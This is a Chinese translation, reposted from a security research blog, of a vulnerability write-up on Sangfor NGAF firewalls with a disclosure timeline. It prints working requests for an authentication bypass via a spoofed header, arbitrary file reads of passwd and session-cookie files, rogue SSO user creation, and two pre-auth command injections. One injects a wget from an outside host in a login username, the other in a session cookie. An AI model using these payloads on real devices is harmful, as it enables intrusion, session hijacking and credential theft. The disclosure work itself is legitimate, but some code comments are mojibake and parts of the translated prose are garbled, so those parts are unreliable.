在之前的博客文章中,我们非常详细地展示了破坏应用程序所采取的广泛步骤 – 提取 HTTP 路由、搜索参数,以及我们如何将部分功能限定为目标软件中的“感兴趣”。重新打破。然而,在这一切发生之前,必须做出一个决定——目标是否令人感兴趣,是否值得投入时间?
这种类型的决策可能会受到各种因素的影响,例如代码复杂性、现实世界的影响、安全透明度(哈哈),在这种特殊情况下,“黑客第六感”——它是否泄露了以下信息:潜在的薄弱软件?
深信服的 NGAF 作为潜在的研究目标引起了我们的关注,主要是因为其缺乏 CVE 披露。这通常表明要么安全社区尚未窃取其代码,所涉及的设备确实是安全的,要么是更可能的答案 – 充斥着保密协议和类似类型协议的错误赏金计划使安全过程变得神秘!
基于重定向行为、端口和服务器横幅 iis8.0
在进入代码和工作流程的肮脏深处之前,我们可以使用各种提示和技巧来从鸟瞰角度计算成功的“赔率”。这些“赔率”将帮助我们决定发现错误的可能性有多大,从而决定我们应该花费多少时间和精力来审核目标。
让许多评论家沮丧的是,我们在代码库中看到的第一个“迹象”是这个所谓的“下一代”设备混合使用了 PHP 和 C++ CGI 二进制文件。我们之前已经看到自定义 PHP 应用程序如何导致安全问题,您只需看看我们最近对瞻博网络防火墙的深入研究即可作为示例 – 但不要相信我们的话,即使是深信服的开发人员也有不好的看法PHP 的观点,我们完全同意。
同样有趣的是,包含此类脏话的代码库本身就是一种“告诉”——在我们看来,开发人员要么不打算让公众查看这些代码,要么只是不在乎看起来不专业。
显然,我们的“底池赔率”看起来相当不错。
当服务器端变成客户端时..
除了在应用程序的代码库中寻找脏话和评论之外,我们首先只是给设备提供众所周知的轮胎踢。
当我们对设备有所了解时,我们开始探索有趣的行为,这些行为可能会揭示解决方案的技术堆栈和架构的内部工作原理。
很快,我们就偶然发现了一个“信号”,要求大幅提高对深信服 NGAF 的押注。
当向目标服务器的 PHP 文件发出请求时,如果标头中存在非数字值Content-Length,服务器将响应 HTTP 状态 413(“内容太大”)。这并不奇怪,但是,不同寻常的是服务器端源代码(PHP)被转储到响应中(??):
curl --insecure https://<host>:85/index.php -H "content-Length:asdf"
HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
/*
* @Func: ææç请æ±é½ç¨apacheæå¡å¨mod_rewrite模åæ¹åURLè§åï¼éæ°å®åå°è¿ä¸ªphpæ件
*/
session_start();
//ç»ä¸ä½¿ç¨webappsä½ä¸ºæ ¹ç®å½å®ä½å ¶å®æ件
require_once("../class/common/conf/config_inc.php");
if(SANGFOR_LANGUAGE == 'en.UTF-8') {
require_once("../conf/lang/eng.utf8.lang.app.php");
}
else {
require_once("../conf/lang/chs.utf8.lang.app.php");
}
//å¤ææ¯å¦åå¨ç¡¬ç
if(@file_exists("/etc/sinfor/log/diskerror.log")) {
header("Content-Type:text/html; charset=utf-8");
echo LOG_DISK_ERROR;
exit(0);
}
//对äºé«ç«¯æ¯ç设å¤ssd+hddå¤æhddæ¯å¦å¼å¸¸
if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {
header("Content-Type:text/html; charset=utf-8");
echo LOG_DISK_ERROR;
exit(0);
}
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");
$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
几个小时后,在认真盯着屏幕后,我们做出了一个决定:这可能不是有意的(深信服不同意)。
根据有根据的猜测,我们最有可能看到的是 CGI 处理程序中某处发生的整数处理问题。不幸的是,在这种类型的漏洞原语中对于升级访问很有用的典型敏感文件(config.php 等)却没有。
虽然上述行为很有趣,但我们发现自己对所达到的混乱程度并不满意 – 但确实觉得我们已经向自己证明了该设备可能符合“有趣”的标准。因此,是时候深入挖掘了。
对于在家跟随的朋友,我们快速枚举了使用以下命令公开的服务:
lsof -nP -i | grep LISTEN
来自 NGAF 上的本地 shell。作为一个总结,我们能够看到我们有两个打开的 HTTPS 服务,正在监听 0.0.0.0;
-
端口 85/TCP,运行“防火墙报告中心”,并且,
-
端口 4433/TCP,运行“管理员登录门户”。
很自然地,我们潜入了端口85/TCP。
映射到此服务的入口点 – 在位于 的 Apache 配置中定义/etc/apache/conf.new/original/httpd.conf。
当想要了解设备暴露的隐喻攻击面时,特别是在 Apache Web 服务器配置文件中,我们会寻找Location、ScriptAlias和Alias指令。这样做通常会为我们提供一个很好的端点和公开目录列表,事实上,在这种安全、强化的人工智能驱动的深信服设备的情况下,所呈现的结果包括丰富的可能性列表:
Alias /icons/ "/virus/apache/apache/icons/"
Alias /bbc "/virus/webui/ext/fast_deploy.html"
Alias /manual/ "/virus/apache/apache/htdocs/manual/"
Alias /cgi-bin/ "/virus/webui/cgi-bin/"
Alias /svpn_html/ "/virus/webui/svpn_html/"
Alias /proxy.html "/virus/webui/ext/login.php"
Alias /proxy_cssp.html "/virus/webui/ext/login.php"
但是,尝试访问这些项目中的任何一项都会导致重定向到“authenticate – at” LogInOut.php。
不过,我们对身份验证后的错误并不感兴趣——我们只对预先身份验证的漏洞有更高的要求。是时候再次查看 Apache 配置了。
对该配置的进一步分析揭示了一条RewriteRule规则,它将所有请求重写为index.php,其中包含几个require,更重要的是 – 对控制器类的调用。
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");
$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
这个控制器类负责处理我们的应用程序级路由。它全部映射在 中CFrontController.php,我们可以在其中看到端点以及与每个端点关联的相应控制器函数:
如果没有首先进行身份验证,则无法通过 Web 界面直接访问这些内容,因此是时候查看调用这些内容的函数了。这就是dispatchRequest()功能。
在查看此内容的几秒钟内,我们看到了下一个兴趣点 – 该函数倾向于在转发请求之前检查身份验证。
我们可以看到一个IF条件,该条件根据 (localhost) 的值检查$_SERVER[‘REMOTE_ADDR’](即客户端的 IP 地址)127.0.0.1,如果匹配,则将布尔值 $t_boolNeedCheck设置为false,并绕过其余的重定向逻辑。
最好的条件身份验证。
public function dispatchRequest()
{
$t_objController = $this->getControllerInstance();
if($t_objController) {
//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击
if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
$t_boolNeedCheck = false;
else
$t_boolNeedCheck = true;
if(isset($t_objController->m_boolNeedCheck))
$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
//防止跨站攻击
if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)
{
//要设置t_boolNeedCheck = false,要不会有重定向死循环
CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
exit(0);
}
$t_fStartTime = $this->costMicroTime();
$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
$t_fEndTime = $this->costMicroTime();
$t_fTotal = $t_fEndTime - $t_fStartTime;
CMiscFunc::printMsg($t_fTotal);
return true;
}
CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
return false;
}
作为外部攻击者,我们是否可以控制 PHP 看到的 IP 地址,或者是否有机会利用 SSRF 类型的漏洞来绕过这个强大的安全控制?
嗯,在现实世界中,有一些标头可能会促进这一点 – 例如X-Forwarded-ForHTTPX-Real-Ip请求标头,但实验证明这些标头没有效果。
再次回到 ,httpd.conf我们可以看到一个不寻常但可疑的指令 – RPAFheader Y-Forwarded-For。该指令从模块加载mod_rpaf,允许客户端设置其“远程”IP 地址……很有用。我们心里想,这可能是预期的功能。
对涉及的请求的快速测试Y-Forwarded-For: 127.0.0.1 表明,在发出未经身份验证的请求时,我们不再被重定向到登录页面。
沙赞!我们潜在漏洞链的第一阶段受到攻击,因为这为我们打开了应用程序攻击面的“全新世界”——所有别名都在 Apache 配置中定义。
例如,以前无法访问的内容/vmp_getinfo变得触手可及:
curl --insecure https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"
这是事后的想法,但我们花了一些时间思考此设置的实际目的,因为它没有在代码中的任何地方使用。也许它是在测试期间使用的,或者是从后来的版本中删除了一些最初的目的?我们会把这个想法留给你们自己,但你们知道,计算机和代码并不是魔法。
再给我看一点..
有了有趣的行为,是时候出发看看我们接下来要去哪里了?
回到 Apache 配置文件,有一个有趣的Alias指令集 -/svpn_html/ “/virus/webui/svpn_html/”它提供了一组更大的应用程序代码和功能。
loadfile.php引起了我们的注意,它接受单个参数file,解析它的路径,读取内容,然后写入响应。对于任意文件读取来说,看起来很容易获胜:
function get_basename($filename){
return preg_replace('/^.+[\\\\\\/]/', '', $filename);
}
$file = addslashes($_GET['file']);
echo $file;
//add by 1w
$file_path = pathinfo($file);
$extname = $file_path ['extension'];
$filename = "";
if (!file_exists($file)) {
die("File Not found");
}
$filename = get_basename($file);
$ua = $_SERVER["HTTP_USER_AGENT"];
header('Content-type: application/octet-stream');
if (preg_match("/Firefox/", $ua)) {
header('Content-Disposition: attachment; filename*="utf8\'\'' . $filename . '"');
} else {
header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');
}
readfile($file);
if($needDelete) {
@unlink($file);
}
curl --insecure https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"
虽然它总是一个令人惊叹的屏幕截图,但/etc/passwd我们想看看它能为我们的读者朋友带来的最大影响是什么。由于没有找到明文凭证,我们确实发现了许多显示 live 的文件PHPSESSID,因此我们可以劫持会话,有很多文件可供您选择:
/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf
如果您仍在寻找以实时管理员身份获得访问权限的更简单方法,您可以直接查看 Apache 访问日志并查看通过请求传递的 cookie GET。错误分类器将因这一“低”发现而陷入混乱,但作为管理员,我们感到不寒而栗。
/virus/apache/apache/logs/access_log
就在这个时候,我们不得不停下来暂停一下。“下一代”应用程序防火墙怎么可能存在如此容易出现的漏洞?这是否真的如此具有创新性和下一代性,以至于我们看到了新事物?
好吧,现在我们很高兴接受它 – 我们找到未经授权的远程命令执行的圣杯的机会刚刚增加,现在是时候全力以赴了。
进一步查看混乱的 PHP 文件,下一个引起我们注意的文件是HttpHandler.php,它提供了类似 AJAX 的功能。它需要两个请求参数controler和action,并使用它们来调用指定的控制器类和公共函数:
public function process()
{
try
{
$controller=$_REQUEST["controler"];
$action=$_REQUEST["action"];
$this->validPara($controller, 'AjaxReq_NoConctroler');
$this->validPara($action, 'AjaxReq_NoAction');
$controller = $controller."Controller";
//反射controller类信息
$classInfo = new ReflectionClass($controller);
//创建controller类实例
$instance=$classInfo->newInstance();
//反射得到action方法
$methodInfo = $classInfo->getMethod($action);
//反射得到action参数表
$parainfos=$methodInfo->getParameters();
$paras=array();
例如,如果设备已连接域,我们可以通过以下方式检索配置数据
/svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3
HTTP/1.1 200 OK
Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html
{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}
总共有 20 个控制器和一百多个功能需要审核。不过,对我们来说不幸的是,大多数似乎具有有趣行为的公共函数也会检查“正确”(即除了“源 IP”之外)身份验证,并且我们再次重定向到登录页面(没有绕过)这次)。
我们确实发现了一个缺乏身份验证检查的“写入”功能,允许我们写入 SQLite 数据库并为 SSL VPN 创建新的 SSO 用户。至于其影响,我们将留给您想象。
有趣的是,它也容易受到 SQL 注入的攻击,但由于底层 DBMS 是 SQLite,因此这对于 RCE 来说作用有限。
POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1
Host:
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr
在花费了大量时间审核设备后,我们得到了:
-
身份验证绕过
-
源代码披露
-
本地文件读取
-
能够添加我们自己的 SSO 用户
-
能够转储 Active Directory 配置信息,包括用户名和密码。
但是,我们却不知所措。远程命令执行会逃避我们吗?这个设备真的安全吗?
与 Pspy 勾结
在此过程中的这一点上,是时候重新评估我们明显失败的方法了。我们需要更多的透明度来理解与系统交互的代码。
对于大多数此类应用程序,主要的注入类型是命令和 SQL。也许我们可以通过在数据库配置中启用跟踪日志或通过grep“ping 所有发生的操作系统命令”来增强这些区域的可见性?
浏览各个类我们可以看到开发人员喜欢使用shell_exec,exec和来执行 shell 命令popen。该代码有点难以追踪,因此我们过去常常 pspy提供帮助。
Pspy 是一个有用的小工具,CTF 团队经常使用,它将位于后台并记录所有正在生成的进程及其参数 – 非常适合发现命令注入,我们怀疑这将是实现 RCE 的最快途径。
将二进制文件与 grep 命令一起放置pspy在目标框中,可以查看 Apache 进程生成的内容:
再次运行所有控制器和功能后,我们仍然无法找到任何明确的注入点。此时,在耗尽此服务的代码库后,我们决定休息一下并放弃(哈哈)。
这是一个幸运的例子 – 在正常进行身份验证时,一些神圣的力量轻推了我们的手指,我们不小心输入了错误的用户名。我们还有pspy观察的过程,看到这里我们都瞪大了眼睛:
正如您在上面的捕获中看到的pspy,用户名Admi被直接传递到 shell 命令中……是否可以将我们自己的命令注入到登录页面上的用户名参数中?
当然,这不太可能……普通的扫描仪、渗透测试仪或赏金猎人肯定会发现它吗?干得好验证码。
通过查看该文件,CFWLogInOutDAO.php我们可以找到remoteLogin()负责此操作的函数:
public function remoteLogin(&$in_arrSearchCondition)
{
$userName = $in_arrSearchCondition ['user_name'];
$passwd = $in_arrSearchCondition ['password'];
//rsa的解密
$t_strMD5 = $this->decrypt($passwd);
$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
$retResult = fread($fp, 20);
pclose($fp);
if ($retResult == "retLoginSuccess") {
$in_arrSearchCondition ['user_name'] = $userName."_remote_";
$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
return $this->setSession($t_strSQL);
}
return false;
}
讽刺的是,开发人员addslashes()在 SQL 语句中处理之前调用用户名,但在函数中使用它之前没有进行任何清理popen()。哎呀!
经过一段时间的研究,我们意识到不可能在用户名中注入任何旧的特殊字符, 因为||由于. 但是,我们注意到它可能会用分号截断命令。&&mod_security
作为关注者,我们想要神奇的输出来显示从单个 HTTP 请求到响应的命令执行情况 – 因此,我们必须发挥创造力。响应详细说明了文件中声明的静态错误消息/virus/dcweb/conf/lang/eng.utf8.lang.app.php。
我们的新目标是编写一个输出到此错误消息的命令。通常(我们喜欢这个词),您会使用某种编码来绕过‘ “和mod_security限制,但base64和xxd在设备上不可用。为了避免这种情况,我们采取了以下方法来赢得胜利:
-
将有效负载托管在外部 HTTP 服务器上
-
使用获取有效负载wget
-
通过执行有效负载source- 我们认为它比.
-
sed将错误消息替换为以下值$(id)
我们剩下的是这张很棒的屏幕截图,将胜利全部显示在一个地方:
要求:
POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625
type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>
Cmd.txt 有效负载:
sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php
响应包:
HTTP/1.1 200 OK
Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html
Error: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) is triggered by too many login failures. Please try again 5 minute later!
在次狩猎
我们决定给该设备第二次机会 – 也许一些野外设备已对端口 85/TCP 进行了防火墙保护,而仅开放了 4433/TCP。这将使我们有机会炮制更复杂的攻击路径,并获得更多关注/互联网点。
端口 4433 上的攻击面略有不同,因为本机流通过 C++ CGI 文件而不是 PHP 进行身份验证。我们曾考虑过用晚上的时间在 Ghidra 上进行分析,但我们的脑海中突然闪现出一个想法:也许设计端口 85/TCP 上的登录 PHP 脚本的开发人员也开发了 CGI 模块,也许……只是也许…… 。
受到这个想法的启发,我们尝试在仍在运行的情况下登录流程pspy。使用相同的原理,我们尝试使用不正确的用户名登录……你瞧,另一个 shell 命令以稍微不同的格式执行。很明显,CookiePHPSESSIONID是在临时文件的 echo 命令中使用的。
POST /cgi-bin/login.cgi HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113
{"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}
Pspy 捕获:
CMD: UID=65534 PID=31595 | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log
由于该值是从 cookie 中获取的,因此我们无法注入分号来截断命令(或对它们进行 URL 编码)。相反,通过使用反引号(这次是允许的),我们可以创建自己的变量并评估括号内的内容。不幸的是,这里没有sed可用的漂亮输出,因此您必须解决超出范围的请求?
POST /cgi-bin/login.cgi HTTP/1.1
Host:
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close
{"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}
再次RCE。
时间线
-
2023 年 9 月 13 日 发现漏洞
-
2023 年 9 月 14 日 请求深信服安全联系人
-
2023 年 9 月 18 日 已收到安全联系方式,已向深信服披露
-
2023 年 9 月 18 日 watchTowr 在客户端的攻击面中寻找受影响的系统,并与受影响的系统进行通信。
-
2023 年 9 月 26 日 深信服对每一项进行响应:
-
– 身份验证绕过 – 每个深信服误报
-
– 本地文件读取 – (内部已知问题 – 补丁发布(在哪里?))
-
– 命令注入 – (内部已知问题 – 补丁发布(在哪里?))
-
– 源代码披露 -根据深信服的误报
-
– SSO 用户添加/SQLite 注入 -根据深信服的误报
-
2023 年 10 月 5 日 向公众发布的博客文章和 PoC
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):防火墙中更多Unauth远程命令执行漏洞-深信服版